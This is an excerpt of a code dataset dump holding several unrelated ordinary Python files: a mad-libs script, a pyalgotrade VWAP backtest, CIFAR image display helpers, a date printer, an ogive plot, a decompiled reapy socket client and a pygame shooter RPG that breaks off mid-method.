it\nfor elem in SnStext:\n\toriginal_str += elem + \" \"\nprint(\"Original Text\")\nprint(original_str)\n\n#print(nltk.pos_tag(SnStext))\n\n# makes a dictionary that maps the tags of a word to what the tag is in words for when the user is prompted\n# sets a probability for each of the tags in the tagmap\ntagmap = {\"NN\":\"a noun\",\"NNS\":\"a plural noun\",\"VB\":\"a verb\",\"JJ\":\"an adjective\",\"RB\":\"an adverb\"}\nsubstitution_probabilities = {\"NN\":.15,\"NNS\":.1,\"VB\":.1,\"JJ\":.1,\"RB\":.1}\nnew_string = []\n\n# defines a way for appending to the new_string that adds a space to the word if it is not punctuation\ndef spaced(word):\n\tif word in [\",\", \".\", \"?\", \"!\", \":\"]:\n\t\treturn word\n\telse:\n\t\treturn \" \" + word\n\n#iterates through the words and their tags in SnStext and if the tag is not in the tagmap dictionary or \n# the random.random funtion generates a number over the substituion probabilit for that tag then it just \n#appends the word to the new string. However if the random.random function generates a number that is \n#within the probability then it prompts the user for the specific tag to enter in a new word\n# Finally, it joins together the new string and prints it out\t\t\nfor (word, tag) in nltk.pos_tag(SnStext):\n\tif tag not in substitution_probabilities or random.random() > substitution_probabilities[tag]:\n\t\tnew_string.append(spaced(word))\n\telse:\n\t\tnew_word = input(\"Please enter %s:\\n\" % (tagmap[tag]))\n\t\tnew_string.append(spaced(new_word))\nprint(\"New Text\")\nprint (\"\".join(new_string))\n\n\nprint(\"\\n\\nEND*******\")\n","sub_path":"HW3-StudentCopy/madlibhw3.py","file_name":"madlibhw3.py","file_ext":"py","file_size_in_byte":2165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"76862211","text":"from __future__ import print_function\n\nfrom pyalgotrade import strategy\nfrom pyalgotrade.tools import quandl\nfrom pyalgotrade.technical import vwap\nfrom pyalgotrade.stratanalyzer import sharpe\n\n\nclass VWAPMomentum(strategy.BacktestingStrategy):\n def __init__(self, feed, instrument, initialBalance, vwapWindowSize, threshold):\n super(VWAPMomentum, self).__init__(feed, balances=initialBalance)\n self.__instrument = instrument\n self.__vwap = vwap.VWAP(feed.getDataSeries(instrument), vwapWindowSize)\n self.__threshold = threshold\n\n def getVWAP(self):\n return self.__vwap\n\n def onBars(self, bars):\n vwap = self.__vwap[-1]\n if vwap is None:\n return\n\n shares = self.getBroker().getBalance(self.__instrument.split(\"/\")[0])\n price = bars.getBar(self.__instrument).getClose()\n notional = shares * price\n\n if price > vwap * (1 + self.__threshold) and notional < 1000000:\n self.marketOrder(self.__instrument, 100)\n elif price < vwap * (1 - self.__threshold) and notional > 0:\n self.marketOrder(self.__instrument, -100)\n\n\ndef main(plot):\n symbol = \"AAPL\"\n priceCurrency = \"USD\"\n instrument = \"%s/%s\" % (symbol, priceCurrency)\n initialBalance = {priceCurrency: 1000000}\n vwapWindowSize = 5\n threshold = 0.01\n\n # Download the bars.\n feed = quandl.build_feed(\"WIKI\", [symbol], priceCurrency, 2011, 2012, \".\")\n\n strat = VWAPMomentum(feed, instrument, initialBalance, vwapWindowSize, threshold)\n sharpeRatioAnalyzer = sharpe.SharpeRatio(priceCurrency)\n strat.attachAnalyzer(sharpeRatioAnalyzer)\n\n if plot:\n from pyalgotrade import plotter\n\n plt = plotter.StrategyPlotter(strat, True, False, True)\n plt.getInstrumentSubplot(instrument).addDataSeries(\"vwap\", strat.getVWAP())\n\n strat.run()\n print(\"Sharpe ratio: %.2f\" % sharpeRatioAnalyzer.getSharpeRatio(0.05))\n\n if plot:\n plt.plot()\n\n\nif __name__ == \"__main__\":\n main(True)\n","sub_path":"samples/vwap_momentum.py","file_name":"vwap_momentum.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"388289716","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef show_samples_cifar10(data, labels, label_names):\n \"\"\"10x10のサンプル画像を表示する\n \"\"\"\n pos = 1\n print('making cifar10 list image')\n for i in range(10):\n targets = np.where(labels == i)[0]\n np.random.shuffle(targets)\n for index in targets[:10]:\n plt.subplot(10, 10, pos)\n img = data[index]\n # (channel, row, column) => (row, column, channel)\n plt.imshow(img.reshape(3, 32, 32).transpose(1, 2, 0))\n plt.axis('off')\n pos += 1\n print('row {} : {}'.format(i+1, label_names[i]))\n plt.show()\n\n\n# cifar100は20のスーパークラス、5のサブクラスに分かれている\ndef show_samples_cifar100(data, coarse_labels, fine_labels, \n coarse_labels_name, fine_labels_name):\n \"\"\"スーパークラス10個の画像を10枚ずつ2つのウィンドウで表示する\n \"\"\"\n print('making cifar100 list image ...')\n for j in range(2):\n pos = 1\n plt.figure(j)\n plt.suptitle('{} ~ {}'.format(j*10 + 1, j*10 + 10))\n for i in range(10):\n targets = np.where(coarse_labels == j*10 + i)[0]\n np.random.shuffle(targets)\n for index in targets[:10]:\n plt.subplot(10, 10, pos)\n img = data[index]\n # (channel, row, column) => (row, column, channel)\n plt.imshow(img.reshape(3, 32, 32).transpose(1, 2, 0))\n plt.axis('off')\n pos += 1\n print('row {} : {}'.format(i+1, coarse_labels_name[j*10 +i]))\n plt.show()\n\n\ndef show_samples_cifar100_sub(data, coarse_labels, fine_labels, \n coarse_labels_name, fine_labels_name, coarse_number):\n \"\"\"任意のサブクラスの画像を10枚ずつ表示する\n \"\"\"\n targets = np.where(coarse_labels == coarse_number)[0]\n\n print(coarse_labels_name[coarse_number])\n for i in range(100):\n if i % 5 == 0:\n print('')\n print(fine_labels_name[i])\n\n\n\nif __name__ == '__main__':\n import data\n\n # cifar10\n #print('*** cifar10 test ***')\n #x_train, y_train, x_test, y_test, label_names = data.load_cifar10(\"Z:/images/cifar-10-batches-py\")\n #show_samples_cifar10(x_test, y_test, label_names)\n\n # ciaf100\n print('\\n*** cifar100 test ***')\n train_data, train_coarse_labels, train_fine_labels, \\\n test_data, test_coarse_labels, test_fine_labels, \\\n fine_label_names, coarse_label_names = \\\n data.load_cifar100(\"Z:/images/cifar-100-python\")\n #show_samples_cifar100(test_data, test_coarse_labels, test_fine_labels,\n # coarse_label_names, fine_label_names)\n\n for i in range(1):\n show_samples_cifar100_sub(test_data, test_coarse_labels, test_fine_labels,\n coarse_label_names, fine_label_names, i)\n \n","sub_path":"image.py","file_name":"image.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"173527825","text":"import datetime\nfrom datetime import datetime\n\nx = datetime.now()\n\nnamaHari = {\n 'Monday' : 'Senin',\n 'Tuesday' : 'Selasa',\n 'Wednesday' : 'Rabu',\n 'Thursday' : 'Kamis',\n 'Friday' : 'Jum\\'at',\n 'Saturday' : 'Sabtu',\n 'Sunday' : 'Minggu'\n}\n\nhariIni = namaHari[x.strftime('%A')]\nprint(hariIni)\n\ntanggal = x.strftime('%d-%B-%Y')\njam = x.strftime('%H')\n\n\nprint('Sekarang hari', hariIni, 'tanggal', tanggal, 'jam', jam)","sub_path":"Purwadhika 05-jumat/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"184207072","text":"\"\"\"\nThis example shows how to create an ogive in Python.\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndata = np.random.normal(0, 1, 1000)\n\nfig, ax = plt.subplots()\ncounts, bins, patches = plt.hist(data, color='lightblue', edgecolor='black')\n\nbin_centers = np.mean(list(zip(bins[:-1], bins[1:])), axis=1)\nax.plot(bin_centers, counts.cumsum(), 'ro-')\n\nplt.show()","sub_path":"statistics/ogive.py","file_name":"ogive.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"428523976","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: C:\\Users\\despres\\Desktop\\reaper\\scripts\\reapy\\reapy\\tools\\network\\client.py\n# Compiled at: 2020-03-18 12:13:39\n# Size of source mod 2**32: 937 bytes\nfrom reapy.errors import DisconnectedClientError, DistError\nfrom reapy.tools import json\nfrom .socket import Socket\n\nclass Client(Socket):\n\n def __init__(self, port, host='localhost'):\n super().__init__()\n self._connect(port, host)\n self.port, self.host = port, host\n\n def _connect(self, port, host):\n super().connect((host, port))\n self.address = self.recv(timeout=None).decode('ascii')\n\n def _get_result(self):\n s = self.recv(timeout=None).decode()\n return json.loads(s)\n\n def request(self, function, input=None):\n request = {'function':function, \n 'input':input}\n request = json.dumps(request).encode()\n self.send(request)\n result = self._get_result()\n if result['type'] == 'result':\n return result['value']\n if result['type'] == 'error':\n raise DistError(result['traceback'])","sub_path":"pycfiles/python_reapy-0.6.0-py2.py3-none-any/client.cpython-37.py","file_name":"client.cpython-37.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"441617582","text":"import pygame\nimport math\nimport random\npygame.init()\n\ndisplay = pygame.display.set_mode((700,800))\npygame.display.set_caption(\"RPG\")\n\n\nclass Player(pygame.sprite.Sprite):\n def __init__(self):\n self.x = 330\n self.y = 600\n self.width = 40\n self.height = 40\n self.vel = 5\n self.projlist = []\n self.image = pygame.image.load(\"player.png\")\n self.myFont = pygame.font.SysFont(\"Times New Roman\", 18)\n self.lasttick = 0\n self.health = 5\n self.hitbox = (self.x, self.y, 40, 40)\n self.rectplayer = self.image.get_rect()\n self.collideafterdeath = 0\n\n def var(self):\n pass\n\n def checkhit(self, projlist):\n if self.collideafterdeath == 0:\n try:\n for i in projlist:\n if self.x - 10 <= i.x and (self.x + 40) >= i.x and self.y - 10 <= i.y and (self.y + 40) >= i.y:\n for j in range(5):\n particle2.add_particles()\n projlist.remove(i)\n self.health -= 1\n self.healthlvl += 1\n if enemy.health <= 0:\n self.collideafterdeath += 1\n projlist.remove(i) #removes all enemy projectiles once enemy is dead\n\n except:\n pass #no error message for non game breaking bug\n\n def draw(self):\n if self.health > 0:\n pygame.mouse.set_cursor(pygame.SYSTEM_CURSOR_CROSSHAIR)\n player.move()\n player.checkhit(enemy.getprojlist())\n self.healthbar = self.health * (40/5)\n pygame.draw.rect(display, (255, 0, 0), (self.x, self.y - 20, 40, 10))\n pygame.draw.rect(display, (0, 255, 0), (self.x, self.y - 20, self.healthbar, 10))\n self.randNumLabel = self.myFont.render(str(self.health), 1, (255, 0, 0))\n display.blit(self.randNumLabel, (self.x, self.y - 40))\n display.blit(self.image, (self.x,self.y))\n for i in self.projlist:\n i.move1()\n\n def move(self):\n self.keys = pygame.key.get_pressed()\n\n if self.keys[pygame.K_a] and self.x > 14:\n self.x -= self.vel\n if self.keys[pygame.K_d] and self.x < 646:\n self.x += self.vel\n if self.keys[pygame.K_w] and self.y > 14:\n self.y -= self.vel\n if self.keys[pygame.K_s] and self.y < 646:\n self.y += self.vel\n if self.keys[pygame.K_p]:\n drop.havehealthpot += 1\n try:\n if self.keys[pygame.K_SPACE] and (self.lasttick + 80) < pygame.time.get_ticks(): #last tick for player projectile fire rate\n self.projlist.append(Projectile(self.x + 15,self.y + 15))\n self.lasttick = pygame.time.get_ticks()\n except:\n pass #if curser is on exact pixel in center of character and shoots, error is given\n\n def getprojlist(self):\n return self.projlist\n\ndef removeproj(dellist):\n try:\n for i in range(0, len(dellist)-1):\n if dellist[i].x < 20 or dellist[i].x > 670 or dellist[i].y < 20 or dellist[i].y > 670:\n del dellist[i]\n\n except:\n pass\n\nclass Projectile(pygame.sprite.Sprite):\n\n def __init__(self, x1, y1):\n self.image1 = pygame.image.load(\"playerbullet.png\")\n self.glow = pygame.image.load(\"glow.png\")\n self.image4 = pygame.image.load(\"enemybullet1.png\")\n self.x = x1\n self.y = y1\n self.hitbox = (self.x, self.y, 50, 50)\n self.originalmouse_x = pygame.mouse.get_pos()[0] - self.x\n self.originalmouse_y = pygame.mouse.get_pos()[1] - self.y\n self.xval = 0\n self.yval = 0\n\n try:\n self.mouse_x = (self.originalmouse_x - 5) / math.sqrt((self.originalmouse_x)**2 + (self.originalmouse_y)**2) #calculation for\n self.mouse_y = (self.originalmouse_y - 5) / math.sqrt((self.originalmouse_x)**2 + (self.originalmouse_y)**2)\n except:\n pass\n self.completed = False\n\n def move1(self):\n self.x += self.mouse_x * 10 #Player projectile speed\n self.y += self.mouse_y * 10\n self.bullet = display.blit(self .image1, (self.x,self.y))\n display.blit(self.glow, (self.x - 5, self.y - 5))\n # self.hitbox = (self.x, self.y, 10, 10)\n # pygame.draw.rect(display, (255,255,0), self.hitbox,2)\n\n def moveE(self, x, y):\n if not self.completed:\n self.xval = self.x - x\n self.yval = self.y - y\n self.xval = self.xval / math.sqrt((self.x - x)**2 + (self.y - y)**2)\n self.yval = self.yval / math.sqrt((self.x - x) ** 2 + (self.y - y) ** 2)\n self.completed = True\n self.bullet = display.blit(self.image4, (self.x - 5, self.y - 5))\n display.blit(self.glow, (self.x - 10, self.y - 10))\n self.x += self.xval * 5\n self.y += self.yval * 5\n\n def moveE1(self, x, y):\n if not self.completed:\n self.xval = self.x - x - 20\n self.yval = self.y - y - 20\n self.xval = self.xval / math.sqrt((self.x - x)**2 + (self.y - y)**2)\n self.yval = self.yval / math.sqrt((self.x - x) ** 2 + (self.y - y) ** 2)\n self.completed = True\n self.bullet = display.blit(self.image4, (self.x - 5, self.y - 5))\n display.blit(self.glow, (self.x - 10, self.y - 10))\n self.x += self.xval * -8\n self.y += self.yval * -8\n\nclass Key():\n def __init__(self):\n self.key1x = enemy.x\n self.key1y = enemy.y\n self.key1 = pygame.image.load(\"key1.png\")\n self.keyshadow = pygame.image.load(\"keyshadow.png\")\n self.movement = random.uniform(1.0, 3.0)\n self.movement1 = random.uniform(1.0, 3.0)\n self.movement3 = 1\n self.movement3y = 1\n self.havekey = 0\n self.health = 1\n\n def keylvl1(self):\n if enemy.health <= 0:\n if key.health > 0:\n if not (player.x - 10 <= enemy.xkey and (player.x + 40) >= enemy.xkey and player.y - 10 <= enemy.ykey and (player.y + 40) >= enemy.ykey): #picks up key from middle of character to have nice overlapping\n for event in pygame.event.get():\n if event.type == PARTICLE_EVENT:\n particle1.add_particles1()\n display.blit(self.keyshadow, (enemy.xkey - 5, enemy.ykey + 23))\n display.blit(self.key1, (enemy.xkey,enemy.ykey))\n enemy.xkey += self.movement\n enemy.ykey += self.movement1\n if enemy.xkey <= 10:\n self.movement = self.movement * -1\n elif enemy.xkey >= 645:\n self.movement = self.movement * -1\n elif enemy.ykey <= 10:\n self.movement1 = self.movement1 * -1\n elif enemy.ykey >= 670:\n self.movement1 = self.movement1 * -1\n else:\n self.havekey += 1\n self.health -= 1\n\n def keylvl1chest(self):\n if enemy.chesthealth <= 0:\n if key.health > 0:\n if not (player.x - 10 <= enemy.xkey and (player.x + 40) >= enemy.xkey and player.y - 10 <= enemy.ykey + 285 and (player.y + 40) >= enemy.ykey + 285): #picks up key from middle of character to have nice overlapping\n for event in pygame.event.get():\n if event.type == PARTICLE_EVENT:\n particle1.add_particles()\n display.blit(self.keyshadow, (enemy.xkey - 5, enemy.ykey + 23 + 285))\n display.blit(self.key1, (enemy.xkey,enemy.ykey + 285))\n enemy.xkey += self.movement\n enemy.ykey += self.movement1\n if enemy.xkey <= 10:\n self.movement = self.movement * -1\n elif enemy.xkey >= 645:\n self.movement = self.movement * -1\n elif enemy.ykey <= 10 - 285:\n self.movement1 = self.movement1 * -1\n elif enemy.ykey >= 670 - 285:\n self.movement1 = self.movement1 * -1\n else:\n self.havekey += 1\n self.health -= 1\n\n def key1lvl1char(self):\n if self.havekey >= 1 and doors.keypedestal <= 1:\n display.blit(self.key1, (player.x + 10, player.y + 20))\n\nclass enemydrops():\n def __init__(self):\n self.heart = pygame.image.load(\"heart.png\")\n self.healthpot = 1\n self.havehealthpot = 0\n self.movement1 = random.uniform(-3.0, -1.0)\n self.movement2 = random.uniform(1.0, 3.0)\n\n def var(self): #all var defs are to reinstantiate variables per level\n self.movement1 = random.uniform(-3.0, -1.0)\n self.movement2 = random.uniform(1.0, 3.0)\n self.heartx = enemy.x\n self.hearty = enemy.y\n self.healthpot = 1\n\n def healthpotion(self):\n if enemy.health <= 0:\n if self.healthpot > 0:\n if not (player.x - 10 <= enemy.x and (player.x + 40) >= enemy.x and player.y - 10 <= enemy.y and (player.y + 40) >= enemy.y):\n display.blit(self.heart, (enemy.x ,enemy.y))\n enemy.x += self.movement1\n enemy.y += self.movement2\n if enemy.x <= 10:\n self.movement1 = self.movement1 * -1\n elif enemy.x >= 645:\n self.movement1 = self.movement1 * -1\n elif enemy.y <= 10:\n self.movement2 = self.movement2 * -1\n elif enemy.y >= 670:\n self.movement2 = self.movement2 * -1\n else:\n self.havehealthpot += 1\n self.healthpot -= 1\n\n def healthpotionchest(self):\n if enemy.chesthealth <= 0:\n if self.healthpot > 0:\n if not (player.x - 10 <= enemy.x and (player.x + 40) >= enemy.x and player.y - 10 <= enemy.y + 285 and (player.y + 40) >= enemy.y + 285):\n display.blit(self.heart, (enemy.x ,enemy.y + 285))\n enemy.x += self.movement1\n enemy.y += self.movement2\n if enemy.x <= 10:\n self.movement1 = self.movement1 * -1\n elif enemy.x >= 645:\n self.movement1 = self.movement1 * -1\n elif enemy.y <= 10 - 285:\n self.movement2 = self.movement2 * -1\n elif enemy.y >= 670 - 285:\n self.movement2 = self.movement2 * -1\n else:\n self.havehealthpot += 1\n self.healthpot -= 1\n\nclass Enemy(pygame.sprite.Sprite):\n def __init__(self):\n self.x = 350\n self.y = 50\n self.x1 = 0\n self.y1 = 0\n self.tick = 0\n self.projlist = []\n self.health = 150\n self.chesthealth = 20\n self.healthbar = self.health / 10\n self.myFont = pygame.font.SysFont(\"Times New Roman\", 18)\n self.firerate = 45\n self.direction = 10\n self.movement = 1\n self.movementy = 1\n self.sprites = []\n self.enemy2 = pygame.image.load(\"enemy2_1.png\")\n self.sprites.append(pygame.image.load(\"enemy1.png\"))\n self.sprites.append(pygame.image.load(\"enemy2.png\"))\n self.sprites.append(pygame.image.load(\"enemy3.png\"))\n self.sprites.append(pygame.image.load(\"enemy4.png\"))\n self.sprites.append(pygame.image.load(\"enemyhit1.png\"))\n self.hands = pygame.image.load(\"enemyhands.png\")\n self.current_sprite = 0\n self.image3 = self.sprites[self.current_sprite]\n self.handx = 350\n self.handy = 48\n self.handmovement = 0.1\n self.rect = self.image3.get_rect()\n self.rect.topleft = [self.x, self.y]\n self.knockbackx = 0\n self.knockbacky = 0\n self.shadow = pygame.image.load(\"enemy1shadow.png\")\n self.handshadow = pygame.image.load(\"enemy1hands_shadow.png\")\n self.chest = pygame.image.load(\"chestclosed.png\")\n self.alive = True\n\n def update(self):\n if self.current_sprite <= 2:\n self.current_sprite += 0.05\n elif self.current_sprite > 2:\n self.current_sprite += 0.1\n if self.current_sprite >= 3.5 and self.current_sprite <= 3.9:\n self.current_sprite = 0\n if self.current_sprite >= 4:\n self.currentsprite = 5\n if self.current_sprite >= 5:\n self.current_sprite = 0\n\n self.image3 = self.sprites[int(self.current_sprite)]\n\n def getprojlist(self):\n return self.projlist\n\n def checkhit(self, projlist):\n for i in projlist:\n if self.x - 10 <= i.x and (self.x + 50) >= i.x and self.y - 10 <= i.y and (self.y + 50) >= i.y:\n self.current_sprite = 4\n projlist.remove(i)\n self.health -= 20\n for j in range(5):\n particle3.add_particles()\n\n def checkhitchest(self, projlist):\n for i in projlist:\n if self.x - 40 <= i.x and (self.x + 25) >= i.x and self.y + 285 - 10 <= i.y and (self.y + 285 + 30) >= i.y:\n projlist.remove(i)\n self.chesthealth -= 1\n\n def pattern1(self): #basic enemy patter back and forth shooting\n self.firerate = 25\n self.x1 += self.direction\n if self.x1 == 750:\n self.direction = self.direction * -1\n elif self.x1 == 0:\n self.direction = self.direction * -1\n\n def pattern2(self):\n self.firerate = 15\n self.x1 += 40\n if self.x1 >= 600:\n self.x1 = 10\n\n def pattern3(self):\n self.firerate = 250\n proj.xval = proj.xval * -1\n proj.yval = proj.yval * -1\n self.x1 = player.x\n self.y1 = player.y\n\n def pattern4(self):\n self.firerate = 50\n self.x1 = player.x\n self.y1 = player.y\n proj.x += proj.xval * -1\n proj.y += proj.yval * -1\n\n def pattern5(self):\n self.firerate = random.randint(1,25)\n self.x1 = 320\n\n def movement1(self):\n self.x += self.movement\n if self.x == 400:\n self.movement = self.movement * -1\n elif self.x == 200:\n self.movement = self.movement * -1\n\n self.handy += self.handmovement\n if self.handy <= 48:\n self.handmovement = self.handmovement * -1\n elif self.handy >= 52:\n self.handmovement = self.handmovement * -1\n\n def movement2(self):\n self.x += self.movement * 2\n self.y += self.movementy * 2\n if self.x >= 636:\n self.movement = self.movement * -1\n elif self.x <= 15:\n self.movement = self.movement * -1\n elif self.y >= 626:\n self.movementy = self.movementy * -1\n elif self.y <= 15:\n self.movementy = self.movementy * -1\n\n def movement3(self):\n self.x += self.movement * 13\n if self.x >= 640:\n self.movement = self.movement * -1\n elif self.x <= 20:\n self.movement = self.movement * -1\n\n def draw(self):\n if self.health > 0:\n self.xkey = self.x\n self.ykey = self.y\n self.healthbar = self.health / (150/50)\n pygame.draw.rect(display, (255, 0, 0), (self.x, self.y - 20, 50, 10))\n pygame.draw.rect(display, (0, 255, 0), (self.x, self.y - 20, self.healthbar, 10))\n self.randNumLabel = self.myFont.render(str(self.health), 1, (255, 0, 0))\n display.blit(self.shadow, (self.x, self.y + 35))\n display.blit(self.handshadow, (self.x, self.handy + 50))\n display.blit(self.randNumLabel, (self.x, self.y - 40))\n self.enemy1 = display.blit(self.image3, (self.x,self.y))\n display.blit(self.hands, (self.x + 5, self.handy + 38))\n enemy.checkhit(player.getprojlist())\n for i in self.projlist:\n i.moveE(self.x1, self.y1)\n if self.health > 75:\n enemy.pattern1()\n else:\n enemy.pattern2()\n enemy.movement1()\n\n if self.health <= 0:\n self.alive = False\n\n if self.alive == False:\n for j in range(5):\n particle3.add_particles()\n self.alive = True\n\n\n def draw2(self):\n if self.health > 0:\n self.xkey = self.x\n self.ykey = self.y\n self.healthbar = self.health / (150/50)\n pygame.draw.rect(display, (255, 0, 0), (self.x, self.y - 20, 50, 10))\n pygame.draw.rect(display, (0, 255, 0), (self.x, self.y - 20, self.healthbar, 10))\n self.randNumLabel = self.myFont.render(str(self.health), 1, (255, 0, 0))\n display.blit(self.shadow, (self.x, self.y + 35))\n display.blit(self.randNumLabel, (self.x, self.y - 40))\n display.blit(self.enemy2, (self.x,self.y))\n display.blit(self.hands, (self.x + 5, self.y + 38))\n enemy.checkhit(player.getprojlist())\n for i in self.projlist:\n i.moveE1(self.x1, self.y1)\n if self.health > 20:\n enemy.pattern3()\n else:\n enemy.pattern4()\n enemy.movement2()\n\n if self.health <= 0:\n self.alive = False\n\n if self.alive == False:\n for j in range(5):\n particle3.add_particles()\n self.alive = True\n\n def draw3(self):\n if self.health > 0:\n self.xkey = self.x\n self.ykey = self.y\n self.healthbar = self.health / (150/50)\n pygame.draw.rect(display, (255, 0, 0), (self.x, self.y - 20, 50, 10))\n pygame.draw.rect(display, (0, 255, 0), (self.x, self.y - 20, self.healthbar, 10))\n self.randNumLabel = self.myFont.render(str(self.health), 1, (255, 0, 0))\n display.blit(self.shadow, (self.x, self.y + 35))\n display.blit(self.randNumLabel, (self.x, self.y - 40))\n display.blit(self.enemy2, (self.x,self.y))\n display.blit(self.hands, (self.x + 5, self.y + 38))\n enemy.checkhit(player.getprojlist())\n for i in self.projlist:\n i.moveE(self.x1, self.y1)\n enemy.pattern5()\n enemy.movement3()\n\n if self.health <= 0:\n self.alive = False\n\n if self.alive == False:\n for j in range(5):\n particle3.add_particles()\n self.alive = True\n\n def drawchest(self):\n if self.chesthealth > 0:\n self.xkey = self.x\n self.ykey = self.y\n self.healthbar = self.chesthealth * 2.5\n pygame.draw.rect(display, (255, 0, 0), (self.x -25, self.y + 260, 50, 10))\n pygame.draw.rect(display, (0, 255, 0), (self.x -25, self.y + 260, self.healthbar, 10))\n self.randNumLabel = self.myFont.render(str(self.health), 1, (255, 0, 0))\n display.blit(self.chest, (self.x - 30, self.y + 285))\n enemy.checkhitchest(player.getprojlist())\n\n def shoot(self):\n if (self.tick + self.firerate) < pygame.time.get_ticks():\n self.projlist.append(Projectile(self.x + 25, self.y + 55))\n self.tick = pygame.time.get_ticks()\n\nclass Levels():\n def __init__(self):\n self.bg1 = pygame.image.load(\"room1-1.png\")\n self.bg1lighting = pygame.image.load(\"level1lighting.png\")\n self.x = 0\n self.y = 0\n\n def intro(self):\n display.blit(self.bg1, (self.x, self.y))\n\n def level1(self):\n display.blit(self.bg1, (self.x, self.y))\n\n def level1lighting(self):\n display.blit(self.bg1lighting,(self.x, self.y))\n\nclass doors():\n def __init__(self):\n self.doorx = 317.5\n self.doory = 10\n self.door = pygame.image.load(\"doorclosed.png\")\n self.doorface = pygame.image.load(\"opendoors.png\")\n self.pedestal = pygame.image.load(\"pedestal.png\")\n self.rectdoor = self.door.get_rect()\n self.placed = 0\n self.keypedestal = 0\n self.pedestalx = self.doorx + 150\n self.pedestaly = self.doory\n\n def displaydoor(self):\n display.blit(self.door, (self.doorx, self.doory))\n\n def displaypedestal(self):\n display.blit(self.pedestal, (self.doorx + 150, self.doory)) # so the player can overlap the pedestal but not the door\n\n def pedestalcoll(self):\n if key.havekey >= 1:\n if (player.x - 30 <= self.pedestalx and (player.x + 40) >= self.pedestalx and player.y - 30 <= self.pedestaly and (player.y + 40) >= self.pedestaly):\n self.keypedestal += 1\n\n def doorstate(self):\n if doors.keypedestal >= 1:\n self.door = pygame.image.load(\"dooropen.png\")\n self.pedestal = pygame.image.load(\"pedestalkey.png\")\n display.blit(self.doorface, (self.doorx - 17, self.doory + 10))\n else:\n self.door = pygame.image.load(\"doorclosed.png\")\n self.pedestal = pygame.image.load(\"pedestal.png\")\n\nclass statbar():\n def __init__(self):\n self.bg = pygame.image.load(\"statsheet.png\")\n self.heartpotion = pygame.image.load(\"heartpotioninv.png\")\n self.heartpotionx = 345\n self.heartpotiony = 765\n self.heartpotionempty = pygame.image.load(\"heartpotioninvempty.png\")\n self.use = pygame.image.load(\"use.png\")\n self.myFont = pygame.font.SysFont(\"Times New Roman\", 18)\n self.myFont2 = pygame.font.SysFont(\"Times New Roman\", 16)\n self.myFont3 = pygame.font.SysFont(\"Times New Roman\", 12)\n self.num = 0\n self.potionnum = self.myFont.render(\"x\" + str(drop.havehealthpot), True, (230, 230, 230))\n self.mousedown = 0\n\n def draw(self):\n pygame.mouse.get_pos()\n display.blit(self.bg, (0, 700))\n self.healthpotion()\n self.mouseclick()\n self.level = self.myFont.render((f'level: {levelnum.state}'), True, (230, 230, 230))\n self.randNumLabel = self.myFont.render(str(\"INVENTORY:\"), True, (230, 230, 230))\n display.blit(self.randNumLabel, (345, 730))\n display.blit(self.level, (20, 703))\n self.click = True\n self.mouse_x = pygame.mouse.get_pos()[0]\n self.mouse_y = pygame.mouse.get_pos()[1]\n player.healthbar = player.health * (90 / 5)\n pygame.draw.rect(display, (255, 0, 0), (75, 770 - 20, 90, 10))\n pygame.draw.rect(display, (0, 255, 0), (75, 770 - 20, player.healthbar, 10))\n self.playerhealth = self.myFont.render((f'Player:'), True, (230, 230, 230))\n display.blit(self.playerhealth, (15, 743))\n enemy.healthbar = enemy.health * 0.6\n pygame.draw.rect(display, (255, 0, 0), (75, 795 - 20, 90, 10))\n pygame.draw.rect(display, (0, 255, 0), (75, 795 - 20, enemy.healthbar, 10))\n self.enemyhealth = self.myFont.render((f'Enemy:'), True, (230, 230, 230))\n display.blit(self.enemyhealth, (15, 767))\n self.health = self.myFont2.render((f'-=HEALTH=-'), True, (230, 230, 230))\n display.blit(self.health, (45, 728))\n self.shoot = self.myFont3.render((\"Shoot - SPACE\"), True, (230, 230, 230)) #\\n does not work with this command so I have to repeat statments\n self.aim = self.myFont3.render((\"Aim - Mouse\"), True, (230, 230, 230))\n self.move = self.myFont3.render((\"Move - W,A,S,D\"), True, (230, 230, 230))\n self.controls = self.myFont2.render((\"-=Controls=-\"), True, (230, 230, 230))\n display.blit(self.controls, (590, 728))\n display.blit(self.shoot, (593, 750))\n display.blit(self.aim, (598, 765))\n display.blit(self.move, (591, 780))\n\n\n self.mouseclick()\n\n def healthpotion(self):\n display.blit(self.use, (self.heartpotionx + 55, self.heartpotiony))\n if drop.havehealthpot >= 1:\n self.potionnum = self.myFont.render(\"x\" + str(drop.havehealthpot), True, (230, 230, 230))\n display.blit(self.heartpotion, (self.heartpotionx, self.heartpotiony))\n display.blit(self.potionnum, (375, 765))\n else:\n display.blit(self.heartpotionempty, (self.heartpotionx, self.heartpotiony))\n display.blit(self.potionnum, (375, 765))\n\n def mouseclick(self):\n self.val = 0\n for event in pygame.event.get():\n if event.type == pygame.MOUSEBUTTONDOWN:\n if drop.havehealthpot >= 1 and player.health > 0:\n if self.mouse_x > (self.heartpotionx + 55) and self.mouse_x < ((self.heartpotionx + 55) + 40) and self.mouse_y > self.heartpotiony and self.mouse_y < (self.heartpotiony + 20):\n if self.click == True:\n player.health = 5\n drop.havehealthpot -= 1\n self.potionnum = self.myFont.render(\"x\" + str(drop.havehealthpot), True, (230, 230, 230))\n elif event.type == pygame.MOUSEBUTTONUP:\n self.click = True\n\nclass Gamestate():\n def __init__(self):\n self.run = True\n self.state = 'maingame'\n self.state = 1\n # self.col = pygame.sprite.collide_rect(player.image, self.door)\n\n def state_manager(self):\n if self.state == 1:\n self.intro()\n if self.state == 2:\n self.level2()\n if self.state == 3:\n self.level3()\n if self.state == 4:\n 